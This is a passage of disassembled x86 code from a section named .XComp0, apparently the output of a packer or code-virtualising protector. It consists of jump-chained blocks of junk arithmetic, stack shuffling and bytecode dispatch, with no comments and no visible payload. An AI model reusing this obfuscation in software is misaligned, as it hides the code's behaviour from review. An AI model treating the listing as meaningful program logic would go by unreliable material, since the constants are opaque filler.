		pop	ebx
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58FBA5
; ---------------------------------------------------------------------------


loc_589328:				; CODE XREF: .XComp0:005866C8j
		mov	ebx, [esp]
		jmp	loc_58EE50
; ---------------------------------------------------------------------------


loc_589330:				; CODE XREF: .XComp0:00595A2Ej
		mov	ebx, 2
		jmp	loc_58B24B
; ---------------------------------------------------------------------------


loc_58933A:				; CODE XREF: .XComp0:0058A4C7j
		mov	edx, eax
		jmp	loc_58CA68
; ---------------------------------------------------------------------------


loc_589341:				; CODE XREF: .XComp0:0058750Dj
		sub	dword ptr [esp], 5AF44C05h
		pop	ebp
		add	ebp, 5AF44C05h
		pop	eax
		push	edi
		mov	edi, 1FA7C6E3h
		add	ebp, edi
		pop	edi
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 45EA6395h
		jmp	loc_58CDC3
; ---------------------------------------------------------------------------


loc_58936C:				; CODE XREF: .XComp0:00586D33j
		inc	ax
		sub	ax, 0E121h
		jmp	loc_58DC44
; ---------------------------------------------------------------------------


loc_589377:				; CODE XREF: .XComp0:00588217j
		add	eax, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_58FCEB
; ---------------------------------------------------------------------------


loc_58938C:				; CODE XREF: .XComp0:005986C5j
		mov	dh, 7Bh
		and	al, dh
		pop	edx
		xor	al, 69h
		jmp	loc_5915DF
; ---------------------------------------------------------------------------


loc_589398:				; CODE XREF: .XComp0:0059877Bj
		push	0FFFFFFFFh
		jmp	loc_58B072
; ---------------------------------------------------------------------------


loc_5893A2:				; CODE XREF: .XComp0:0058C859j
		mov	ah, 0ACh
		xor	ah, bl
		pop	ebx
		or	ah, 6Bh
		sub	ah, 0A6h
		mov	cl, ah
		pop	eax
		sub	bl, cl
		pop	cx
		jmp	loc_5874F7
; ---------------------------------------------------------------------------


loc_5893B9:				; CODE XREF: .XComp0:0058DB93j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_58FA52
; ---------------------------------------------------------------------------


loc_5893C4:				; CODE XREF: .XComp0:0058873Cj
		add	eax, esi
		pop	esi
		push	6947h
		mov	[esp], ebp
		mov	ebp, 76FB5994h
		jmp	loc_595E5C
; ---------------------------------------------------------------------------


loc_5893D9:				; CODE XREF: .XComp0:0059506Aj
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5977A6
; ---------------------------------------------------------------------------


loc_5893E9:				; CODE XREF: .XComp0:0058C970j
		inc	ecx
		xor	ecx, 46413BB4h
		mov	edx, ecx
		pop	ecx
		jmp	loc_58817C
; ---------------------------------------------------------------------------


loc_5893F8:				; CODE XREF: .XComp0:00593C20j
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_58751E
; ---------------------------------------------------------------------------


loc_589403:				; CODE XREF: .XComp0:005882D7j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	4AA3h
		mov	[esp], eax
		mov	eax, 4
		push	esi
		sub	esp, 4
		jmp	loc_58CFFC
; ---------------------------------------------------------------------------


loc_589428:				; CODE XREF: .XComp0:00586899j
		add	ecx, 57E136C7h
		jmp	loc_58D6D3
; ---------------------------------------------------------------------------


loc_589433:				; CODE XREF: .XComp0:0058577Cj
		push	2701h
		mov	[esp], ebp
		mov	ebp, 54B45ABAh
		jmp	loc_58CB78
; ---------------------------------------------------------------------------


loc_589445:				; CODE XREF: .XComp0:00591D42j
		add	ebp, 1
		xor	ebp, 0FD8C1257h
		sub	ebx, ebp
		pop	ebp
		add	esi, ebx
		pop	ebx
		xor	ebx, esi
		pop	esi
		jmp	loc_591AF6
; ---------------------------------------------------------------------------


loc_58945F:				; CODE XREF: .XComp0:00592AA1j
		inc	byte ptr [esp]
		pop	eax
		add	al, 0FFh
		shr	al, 2
		push	ecx
		mov	ch, 5Bh
		xchg	al, ch
		not	al
		xchg	al, ch
		neg	ch
		add	ch, 31h
		push	eax
		jmp	loc_58EB9A
; ---------------------------------------------------------------------------


loc_58947C:				; CODE XREF: .XComp0:0058DA47j
		add	ecx, eax
		pop	eax
		push	75E1h
		jmp	loc_585C97
; ---------------------------------------------------------------------------


loc_589489:				; CODE XREF: .XComp0:0058447Dj
		pop	edi
		jmp	loc_5863BE
; ---------------------------------------------------------------------------


loc_58948F:				; CODE XREF: .XComp0:00587440j
		mov	edi, 585214B0h
		sub	edx, edi
		pop	edi
		jmp	loc_5851EE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_58C843
; ---------------------------------------------------------------------------


loc_5894A8:				; CODE XREF: .XComp0:00583A8Dj
		pop	esi
		sub	ebp, ecx
		push	esi
		push	edx
		jmp	loc_59714A
; ---------------------------------------------------------------------------


loc_5894B2:				; CODE XREF: .XComp0:005874F2j
		pop	esi
		jmp	loc_58634A
; ---------------------------------------------------------------------------


loc_5894B8:				; CODE XREF: .XComp0:0058EF5Ej
		mov	ebp, 4
		add	edi, 2BF054CBh
		sub	edi, ebp
		jmp	loc_592398
; ---------------------------------------------------------------------------


loc_5894CA:				; CODE XREF: .XComp0:005948CBj
		mov	edi, 17381684h
		and	edi, 79713346h
		xor	edi, 54FF331Ch
		add	edi, 90B699Eh
		jmp	loc_588EFD
; ---------------------------------------------------------------------------


loc_5894E6:				; CODE XREF: .XComp0:00598340j
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		push	6A6Ah
		mov	[esp], edi
		jmp	loc_588DD4
; ---------------------------------------------------------------------------


loc_5894FD:				; CODE XREF: .XComp0:005869FCj
		mov	esi, esp
		jmp	loc_58433D
; ---------------------------------------------------------------------------


loc_589504:				; CODE XREF: .XComp0:0058849Dj
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_594B31
; ---------------------------------------------------------------------------


loc_58950F:				; CODE XREF: .XComp0:0058774Ej
		mov	ecx, edi
		jmp	loc_597873
; ---------------------------------------------------------------------------


loc_589516:				; CODE XREF: .XComp0:0058E292j
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_585DBE
; ---------------------------------------------------------------------------


loc_589525:				; CODE XREF: .XComp0:0058F0E5j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_588124
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_58B7D4
; ---------------------------------------------------------------------------


loc_58953C:				; CODE XREF: .XComp0:0059082Aj
		xor	edi, 75EB471Ah
		jmp	loc_587891
; ---------------------------------------------------------------------------


loc_589547:				; CODE XREF: .XComp0:005853E5j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5856A4
; ---------------------------------------------------------------------------


loc_58955E:				; CODE XREF: .XComp0:00585D0Fj
		mov	esi, eax
		pop	eax
		add	esi, 7D3642A5h
		or	esi, 2B7D1B63h
		neg	esi
		or	esi, 2A0F5AEDh
		push	edx
		jmp	loc_591126
; ---------------------------------------------------------------------------


loc_58957B:				; CODE XREF: .XComp0:0058417Ej
		sub	edi, 24CB018Fh
		add	edi, ebp
		push	ebx
		mov	ebx, 24CB018Fh
		add	edi, ebx
		jmp	loc_58BC3D
; ---------------------------------------------------------------------------


loc_589590:				; CODE XREF: .XComp0:00592380j
		shl	ebp, 1
		shl	ebp, 4
		jmp	loc_592DF8
; ---------------------------------------------------------------------------


loc_58959A:				; CODE XREF: .XComp0:00597B99j
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		not	edi
		xchg	edi, ebx
		jmp	loc_595D36
; ---------------------------------------------------------------------------


loc_5895AA:				; CODE XREF: .XComp0:00589E19j
		push	esi
		jmp	loc_58806B
; ---------------------------------------------------------------------------


loc_5895B0:				; CODE XREF: .XComp0:00590658j
		or	edx, 238403EEh
		jmp	loc_58C213
; ---------------------------------------------------------------------------


loc_5895BB:				; CODE XREF: .XComp0:005851E9j
		mov	ebp, [esp]
		jmp	loc_58E7A9
; ---------------------------------------------------------------------------


loc_5895C3:				; CODE XREF: .XComp0:0058D14Aj
		add	ebx, 0E7F700FEh
		mov	esi, ebx
		jmp	loc_585A14
; ---------------------------------------------------------------------------


loc_5895D0:				; CODE XREF: .XComp0:00593CC8j
		pop	edx
		sub	esi, 0A082AAE2h
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_5951C3
; ---------------------------------------------------------------------------


loc_5895EC:				; CODE XREF: .XComp0:00592139j
		mov	ebp, 4
		add	[esp+4], ebp
		mov	ebp, [esp]
		push	edx
		jmp	loc_584428
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0AEh
		shr	dl, 5
		sub	dl, 0E4h
		mov	ch, dl
		pop	edx
		push	eax
		jmp	loc_598D3C
; ---------------------------------------------------------------------------


loc_58961A:				; CODE XREF: .XComp0:0058FB43j
		add	edx, 0E9FC835Fh
		add	edi, edx
		pop	edx
		push	esi
		jmp	loc_583F95
; ---------------------------------------------------------------------------


loc_589629:				; CODE XREF: .XComp0:0058F5A3j
		or	eax, 4D5C50ABh
		shr	eax, 4
		sub	eax, 0D59FAA0Bh
		jmp	loc_5926DD
; ---------------------------------------------------------------------------


loc_58963B:				; CODE XREF: .XComp0:00584DDCj
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_58554C
; ---------------------------------------------------------------------------


loc_589649:				; CODE XREF: .XComp0:0058A1F4j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_58E612
; ---------------------------------------------------------------------------


loc_589665:				; CODE XREF: .XComp0:0059454Dj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 4
		jmp	loc_58EAD7
; ---------------------------------------------------------------------------


loc_589679:				; CODE XREF: .XComp0:0058782Dj
		push	ebx
		mov	ebx, 76F624C9h
		and	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 15BB326Eh
		xor	esi, 7434222Eh
		xor	ecx, esi
		pop	esi
		add	ecx, 9814EC04h
		add	edi, 5D416866h
		jmp	loc_587392
; ---------------------------------------------------------------------------


loc_5896AA:				; CODE XREF: .XComp0:00588CF5j
		add	al, ch
		pop	ecx
		add	al, bh
		jmp	loc_593BAA
; ---------------------------------------------------------------------------


loc_5896B4:				; CODE XREF: .XComp0:0058A9FEj
		dec	ebp
		not	ebp
		jmp	loc_596B2E
; ---------------------------------------------------------------------------


loc_5896BC:				; CODE XREF: .XComp0:0059041Cj
		add	edx, 192821DDh
		jmp	loc_596C07
; ---------------------------------------------------------------------------


loc_5896C7:				; CODE XREF: .XComp0:00597F4Bj
		push	esi
		jmp	loc_58A3C2
; ---------------------------------------------------------------------------


loc_5896CD:				; CODE XREF: .XComp0:0058A41Dj
		dec	edx
		shl	edx, 8
		push	ecx
		jmp	loc_5902DB
; ---------------------------------------------------------------------------


loc_5896D7:				; CODE XREF: .XComp0:005980BEj
		push	edx
		jmp	loc_583AD4
; ---------------------------------------------------------------------------


loc_5896DD:				; CODE XREF: .XComp0:005899B8j
		push	58BEh
		mov	[esp], edx
		jmp	loc_58C04D
; ---------------------------------------------------------------------------


loc_5896EA:				; CODE XREF: .XComp0:0058E107j
		mov	ch, bh
		jmp	loc_58F30B
; ---------------------------------------------------------------------------


loc_5896F1:				; CODE XREF: .XComp0:00584BA0j
		push	ebx
		mov	ebx, 0AC06C53h
		or	esi, ebx
		pop	ebx
		inc	esi
		push	712Dh
		jmp	loc_5978B3
; ---------------------------------------------------------------------------


loc_589705:				; CODE XREF: .XComp0:0058884Cj
		push	esp
		jmp	loc_596AB7
; ---------------------------------------------------------------------------


loc_58970B:				; CODE XREF: .XComp0:00592F39j
		add	edi, edx
		sub	edi, 0C0359ADh
		push	ebp
		mov	ebp, 0ECD0DEFh
		shr	ebp, 8
		and	ebp, 2AFE5003h
		and	ebp, 4628499Eh
		push	edi
		mov	edi, 63015B6Eh
		xor	ebp, edi
		jmp	loc_59567D
; ---------------------------------------------------------------------------


loc_589735:				; CODE XREF: .XComp0:00586DFFj
		not	eax
		xchg	eax, ebx
		shr	ebx, 6
		sub	ebx, 7DAE1CA3h
		xor	ebx, 0B4B5D461h
		xor	eax, ebx
		pop	ebx
		and	eax, 442A2312h
		xor	eax, 4080111h
		mov	edi, eax
		push	dword ptr [esp]
		jmp	loc_58A481
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	42B5h
		mov	[esp], esp
		jmp	loc_596A4B
; ---------------------------------------------------------------------------


loc_589778:				; CODE XREF: .XComp0:0058AEF4j
		push	732Ah
		mov	[esp], edi
		mov	edi, 635922A7h
		mov	ecx, 454240F9h
		jmp	loc_591D12
; ---------------------------------------------------------------------------


loc_58978F:				; CODE XREF: .XComp0:00585D96j
		push	edi
		mov	edi, 694E2C29h
		xor	ebp, edi
		jmp	loc_5915D1
; ---------------------------------------------------------------------------


loc_58979C:				; CODE XREF: .XComp0:0058A5EAj
		pop	edi
		xor	ebp, [esp]
		jmp	loc_5907CA
; ---------------------------------------------------------------------------


loc_5897A5:				; CODE XREF: .XComp0:005867D7j
		push	dword ptr [esp+4]
		jmp	loc_58D7BC
; ---------------------------------------------------------------------------


loc_5897AE:				; CODE XREF: .XComp0:00594CC3j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 465906BAh
		not	ebx
		inc	ebx
		jmp	loc_5891CA
; ---------------------------------------------------------------------------


loc_5897C8:				; CODE XREF: .XComp0:00595A00j
		pop	dx
		movzx	eax, al
		mov	dx, [esp]
		push	ebp
		push	6F25h
		jmp	loc_58A8F4
; ---------------------------------------------------------------------------


loc_5897DC:				; CODE XREF: .XComp0:00590891j
		add	esp, 4
		add	ebp, 4
		jmp	loc_5970D6
; ---------------------------------------------------------------------------


loc_5897EA:				; CODE XREF: .XComp0:0058BBD5j
		push	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 31FD7305h
		sub	ecx, 31FD7301h
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_589829:				; CODE XREF: .XComp0:0058DB85j
		add	bh, 60h
		sub	bh, 81h
		add	cl, bh
		mov	ebx, [esp]
		add	esp, 4
		shr	cl, 6
		xor	cl, 24h
		sub	cl, 8Dh
		sub	al, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_598C5B
; ---------------------------------------------------------------------------


loc_589851:				; CODE XREF: .XComp0:00585A88j
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		push	ebp
		push	ecx
		push	edx
		jmp	loc_5901D1
; ---------------------------------------------------------------------------


loc_589866:				; CODE XREF: .XComp0:005852D9j
		add	ebx, 0B3F9688Ch
		push	edi
		mov	edi, ebx
		jmp	loc_58E3BA
; ---------------------------------------------------------------------------


loc_589874:				; CODE XREF: .XComp0:0058FE15j
		mov	[esp], bx
		mov	bl, 0AFh
		add	cl, bl
		pop	bx
		push	small 7D14h
		mov	[esp], dx
		jmp	loc_58826A
; ---------------------------------------------------------------------------


loc_58988B:				; CODE XREF: .XComp0:0058855Aj
		pop	edi
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 319B3B4Ch
		add	edx, 22647910h
		sub	edx, esi
		sub	edx, 22647910h
		pop	esi
		add	ecx, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, 2
		jmp	loc_597C1E
; ---------------------------------------------------------------------------


loc_5898D3:				; CODE XREF: .XComp0:0058CE09j
		add	esi, 0D0FDCA7Ah
		mov	ebx, esi
		jmp	loc_593FB7
; ---------------------------------------------------------------------------


loc_5898E0:				; CODE XREF: .XComp0:0058AFF8j
		mov	ebp, [esp]
		add	esp, 4
		add	dword ptr [esp], 54082489h
		sub	[esp], eax
		push	ebp
		mov	ebp, 54082489h
		jmp	loc_590AF8
; ---------------------------------------------------------------------------


loc_5898FB:				; CODE XREF: .XComp0:00594D57j
		mov	esi, ebp
		pop	ebp
		add	ebx, esi
		push	dword ptr [esp]
		jmp	loc_5919D1
; ---------------------------------------------------------------------------


loc_589908:				; CODE XREF: .XComp0:0058A09Bj
		shl	edx, 8
		add	edx, 160C07CAh
		xor	edx, 74F453E6h
		jmp	loc_58C227
; ---------------------------------------------------------------------------


loc_58991C:				; CODE XREF: .XComp0:00583E79j
		add	edi, 7AA86B92h
		mov	esi, [esp]
		push	ecx
		jmp	loc_591721
; ---------------------------------------------------------------------------


loc_58992B:				; CODE XREF: .XComp0:00594AEDj
		xchg	eax, [esp]
		pop	esp
		push	ecx
		jmp	loc_588A16
; ---------------------------------------------------------------------------


loc_589935:				; CODE XREF: .XComp0:005924D1j
		shl	esi, 4
		shr	esi, 7
		push	edx
		mov	edx, 164B1B9h
		xor	esi, edx
		pop	edx
		jmp	loc_5920EA
; ---------------------------------------------------------------------------


loc_589949:				; CODE XREF: .XComp0:0058C4D3j
		push	edx
		mov	edx, 4D9F26C9h
		shr	edx, 6
		sub	edx, 845918EFh
		jmp	loc_58F279
; ---------------------------------------------------------------------------


loc_58995D:				; CODE XREF: .XComp0:0058690Cj
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		push	edi
		jmp	loc_59303F
; ---------------------------------------------------------------------------


loc_589975:				; CODE XREF: .XComp0:00596AB8j
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		jmp	loc_5955CB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_592208
; ---------------------------------------------------------------------------


loc_589998:				; CODE XREF: .XComp0:005939A2j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	9DFh
		mov	[esp], ecx
		jmp	loc_592938
; ---------------------------------------------------------------------------


loc_5899AE:				; CODE XREF: .XComp0:00586629j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_5896DD
; ---------------------------------------------------------------------------


loc_5899BD:				; CODE XREF: .XComp0:00595519j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_59103C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58F904
; ---------------------------------------------------------------------------


loc_5899DF:				; CODE XREF: .XComp0:005930BBj
		pop	ecx
		xor	ecx, 36F6B44h
		pop	ebp
		push	ebp
		mov	ebp, 6FB75DF8h
		sub	[esp+8], ebp
		pop	ebp
		add	dword ptr [esp+4], 16523CF1h
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 16523CF1h
		add	dword ptr [esp+4], 6FB75DF8h
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_592997
; ---------------------------------------------------------------------------


loc_589A18:				; CODE XREF: .XComp0:00594DC3j
		push	ebp
		push	edx
		jmp	loc_5944A2
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	37D1h
		mov	[esp], edi
		jmp	loc_588D39
; ---------------------------------------------------------------------------


loc_589A35:				; CODE XREF: .XComp0:00589B78j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, 7B9609ECh
		jmp	loc_58A109
; ---------------------------------------------------------------------------


loc_589A52:				; CODE XREF: .XComp0:0058A289j
		not	eax
		jmp	loc_5932EF
; ---------------------------------------------------------------------------


loc_589A59:				; CODE XREF: .XComp0:00593BC6j
		dec	ecx
		jmp	loc_5928CC
; ---------------------------------------------------------------------------


loc_589A5F:				; CODE XREF: .XComp0:005943DCj
		add	esi, 38923547h
		pop	edi
		push	eax
		jmp	loc_595EC5
; ---------------------------------------------------------------------------


loc_589A6C:				; CODE XREF: .XComp0:0058E1C8j
		sub	esi, eax
		jmp	loc_585719
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58FE98
; ---------------------------------------------------------------------------


loc_589A7C:				; CODE XREF: .XComp0:0058BEAEj
		push	eax
		mov	eax, esp
		jmp	loc_5850C5
; ---------------------------------------------------------------------------


loc_589A84:				; CODE XREF: .XComp0:0058E600j
		add	esp, 4
		jmp	loc_587CF7
; ---------------------------------------------------------------------------


loc_589A8F:				; CODE XREF: .XComp0:0058C237j
		push	esi
		mov	esi, 3A106F7Ch
		sub	ecx, esi
		pop	esi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58BC6D
; ---------------------------------------------------------------------------


loc_589AA7:				; CODE XREF: .XComp0:0059254Dj
		mov	edi, 0BD37891h
		neg	edi
		dec	edi
		inc	edi
		or	edi, 5F79077Bh
		jmp	loc_58F3E1
; ---------------------------------------------------------------------------


loc_589ABB:				; CODE XREF: .XComp0:00592511j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		push	edi
		jmp	loc_585257
; ---------------------------------------------------------------------------


loc_589AD4:				; CODE XREF: .XComp0:00596B13j
		push	eax
		push	ecx
		mov	cl, bl
		push	ebx
		mov	bh, cl
		mov	al, bh
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		push	ebx
		mov	bl, al
		mov	dh, bl
		jmp	loc_5922A9
; ---------------------------------------------------------------------------


loc_589AEE:				; CODE XREF: .XComp0:0058AC5Dj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	edi, edx
		pop	edx
		jmp	loc_58CD20
; ---------------------------------------------------------------------------


loc_589AFB:				; CODE XREF: .XComp0:005869E6j
		push	edx
		mov	edx, 463379E5h
		shl	edx, 7
		xor	edx, 2849A6BEh
		sub	eax, edx
		pop	edx
		sub	eax, 0FBCDDFB8h
		xor	edx, eax
		pop	eax
		push	ecx
		push	esi
		mov	esi, 99C313A2h
		mov	ecx, esi
		pop	esi
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_594965
; ---------------------------------------------------------------------------


loc_589B2C:				; CODE XREF: .XComp0:00596622j
		pop	edi
		mov	ebx, ebp
		jmp	loc_58EBA4
; ---------------------------------------------------------------------------


loc_589B34:				; CODE XREF: .XComp0:0058F21Fj
		push	ecx
		push	edi
		mov	edi, 5ECA18EFh
		jmp	loc_5986D3
; ---------------------------------------------------------------------------


loc_589B40:				; CODE XREF: .XComp0:0059453Ej
		add	di, si
		pop	esi
		add	ax, 44D2h
		sub	ax, di
		sub	ax, 44D2h
		mov	di, [esp]
		push	ebx
		jmp	loc_585E79
; ---------------------------------------------------------------------------


loc_589B59:				; CODE XREF: .XComp0:0058E542j
		inc	edi
		shl	edi, 7
		sub	edi, 0E10C5B45h
		add	eax, edi
		pop	edi
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		add	eax, 4
		jmp	loc_589A35
; ---------------------------------------------------------------------------


loc_589B7D:				; CODE XREF: .XComp0:0058C01Ej
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		push	7114h
		mov	[esp], edx
		push	3BC97330h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		shr	edx, 2
		shl	edx, 6
		add	edx, 199E4149h
		xor	edx, 0FFBD29C7h
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_595B6A
; ---------------------------------------------------------------------------


loc_589BBC:				; CODE XREF: .XComp0:00584241j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5988B5
; ---------------------------------------------------------------------------


loc_589BC7:				; CODE XREF: .XComp0:00587F2Fj
		mov	esi, 31883213h
		shl	esi, 5
		shl	esi, 6
		jmp	loc_5904FB
; ---------------------------------------------------------------------------


loc_589BD7:				; CODE XREF: .XComp0:0058A3C9j
		pop	esi
		sub	ecx, edi
		pop	edi
		xor	ecx, [esp]
		jmp	loc_583E53
; ---------------------------------------------------------------------------


loc_589BE3:				; CODE XREF: .XComp0:005930F8j
		push	eax
		mov	eax, 4
		jmp	loc_5906D0
; ---------------------------------------------------------------------------


loc_589BEE:				; CODE XREF: .XComp0:00597AD0j
		mov	[esp], edi
		mov	edi, 8B57330h
		inc	edi
		shr	edi, 5
		jmp	loc_58BB16
; ---------------------------------------------------------------------------


loc_589BFF:				; CODE XREF: .XComp0:005920EFj
		add	esp, 4
		push	esi
		push	eax
		push	4F6F17FAh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59836C
; ---------------------------------------------------------------------------


loc_589C17:				; CODE XREF: .XComp0:0059425Fj
		add	ebp, 1FD95D1Ch
		add	ebp, 0B467AFFh
		jmp	loc_58C975
; ---------------------------------------------------------------------------


loc_589C28:				; CODE XREF: .XComp0:0058DEB6j
		push	ebx
		push	eax
		mov	ah, 16h
		mov	bl, ah
		pop	eax
		jmp	loc_588D8E
; ---------------------------------------------------------------------------


loc_589C34:				; CODE XREF: .XComp0:00586309j
		or	ecx, 4EB73760h
		jmp	loc_592864
; ---------------------------------------------------------------------------


loc_589C3F:				; CODE XREF: .XComp0:0058B19Dj
		mov	[esp], esi
		jmp	loc_58436B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5952E7
; ---------------------------------------------------------------------------


loc_589C5E:				; CODE XREF: .XComp0:0058CE5Ej
		not	ecx
		shr	ecx, 8
		and	ecx, 2926777Fh
		and	ecx, 67714090h
		shr	ecx, 3
		add	ecx, 539B3994h
		and	ebx, ecx
		pop	ecx
		inc	ebx
		push	ecx
		mov	ecx, 12317082h
		jmp	loc_597FBE
; ---------------------------------------------------------------------------


loc_589C87:				; CODE XREF: .XComp0:00588F5Cj
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		push	esi
		push	edi
		mov	edi, 245D41CAh
		mov	esi, 313D571Bh
		sub	esi, edi
		pop	edi
		push	edx
		mov	edx, 7960137Fh
		dec	edx
		jmp	loc_598A27
; ---------------------------------------------------------------------------


loc_589CA9:				; CODE XREF: .XComp0:005918CCj
		mov	edx, 3906898Ch
		push	esi
		mov	esi, 7D8018C8h
		jmp	loc_596D32
; ---------------------------------------------------------------------------


loc_589CB9:				; CODE XREF: .XComp0:0058D2C8j
		xor	[esp], ebp
		pop	edi
		xor	ebx, edi
		xor	edi, ebx
		jmp	loc_590845
; ---------------------------------------------------------------------------


loc_589CC6:				; CODE XREF: .XComp0:00590458j
		sub	eax, edx
		pop	edx
		jmp	loc_588487
; ---------------------------------------------------------------------------


loc_589CCE:				; CODE XREF: .XComp0:00584224j
		pop	eax
		jmp	loc_591ABB
; ---------------------------------------------------------------------------


loc_589CD4:				; CODE XREF: .XComp0:00586675j
		pop	ebp
		neg	eax
		jmp	loc_58CA19
; ---------------------------------------------------------------------------


loc_589CDC:				; CODE XREF: .XComp0:0058E4C3j
		and	ch, 0Bh
		xchg	dh, ch
		not	dh
		xchg	dh, ch
		not	ch
		add	ch, 86h
		mov	ah, ch
		jmp	loc_5908D4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_587680
; ---------------------------------------------------------------------------
		lodsb
		push	8FEh
		mov	[esp], ebx
		push	edx
		jmp	loc_596499
; ---------------------------------------------------------------------------


loc_589D1F:				; CODE XREF: .XComp0:00593782j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58E746
; ---------------------------------------------------------------------------


loc_589D2D:				; CODE XREF: .XComp0:0058AD34j
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58DDE5
; ---------------------------------------------------------------------------


loc_589D35:				; CODE XREF: .XComp0:0059066Cj
		push	edx
		mov	edx, 85E55994h
		sub	ecx, edx
		jmp	loc_59486C
; ---------------------------------------------------------------------------


loc_589D42:				; CODE XREF: .XComp0:00584030j
		add	ch, ah
		jmp	loc_58AC6D
; ---------------------------------------------------------------------------


loc_589D49:				; CODE XREF: .XComp0:0058DDE0j
		shl	ebx, 2
		jmp	loc_59156B
; ---------------------------------------------------------------------------


loc_589D51:				; CODE XREF: .XComp0:0058E127j
		push	esi
		mov	esi, 4
		jmp	loc_58AFB9
; ---------------------------------------------------------------------------


loc_589D5C:				; CODE XREF: .XComp0:0058DE99j
		add	al, bh
		mov	bx, [esp]
		add	esp, 2
		push	55FBh
		mov	[esp], ecx
		mov	cl, 50h
		sub	esp, 4
		mov	[esp], eax
		push	6A8Ah
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5844BE
; ---------------------------------------------------------------------------


loc_589D90:				; CODE XREF: .XComp0:00588A74j
		or	ebx, 41275089h
		inc	ebx
